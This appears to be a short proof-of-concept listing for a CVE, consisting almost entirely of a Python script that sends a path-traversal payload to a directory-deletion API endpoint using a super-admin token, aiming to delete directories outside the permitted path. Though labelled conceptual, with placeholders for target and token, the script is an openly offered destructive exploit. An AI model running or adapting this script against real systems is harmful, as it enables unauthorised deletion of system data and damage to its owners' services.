CVE-2026-25691

import requests # Target API endpoint for directory management # This is a conceptual example based on the vulnerability description target_url = "https://<target-ip>/api/v1/fs/delete_directory" # Attacker requires Super-Admin privileges (PR:H) and CLI access context headers = { "Authorization": "Bearer <super_admin_token>", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Payload demonstrating path traversal to delete arbitrary directories # Using '../' to escape the restricted directory payload = { "dir_path": "../../../../../../sensitive_system_config" } try: # Sending the crafted HTTP request response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Directory may have been deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

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